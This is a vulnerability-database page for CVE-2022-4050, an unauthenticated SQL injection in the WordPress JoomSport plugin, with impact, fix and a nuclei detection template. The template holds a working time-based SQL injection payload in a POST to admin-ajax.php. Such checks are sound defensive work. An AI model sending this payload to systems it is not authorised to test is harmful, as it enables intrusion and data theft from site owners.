HexBrain

Browse / CVEs / CVE-2022-4050

CVE-2022-4050· beardev / joomsport· CWE-89

WordPress JoomSport <5.2.8 - SQL Injection

criticalseverity
9.8CVSS score
5.1%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Update to JoomSport plugin version 5.2.8 or later.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=7 and status_code == 200 and contains(content_type, "text/html") and contains(body, "jscaruselcont jsview2")

Run it with nuclei: nuclei -id CVE-2022-4050 -u <target>

The full check
id: CVE-2022-4050

info:
  name: WordPress JoomSport <5.2.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to JoomSport plugin version 5.2.8 or later.
  reference:
    - https://wpscan.com/vulnerability/5c96bb40-4c2d-4e91-8339-e0ddce25912f
    - https://wordpress.org/plugins/joomsport-sports-league-results-management/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4050
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4050
    cwe-id: CWE-89
    epss-score: 0.0509
    epss-percentile: 0.92421
    cpe: cpe:2.3:a:beardev:joomsport:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: beardev
    product: joomsport
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wpscan,wp-plugin,wp,joomsport-sports-league-results-management,wordpress,sqli,unauth,beardev,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mdId=1&shattr={"id":"1+AND+(SELECT+1+FROM(SELECT+SLEEP(7))aaaa);--+-"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "jscaruselcont jsview2")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from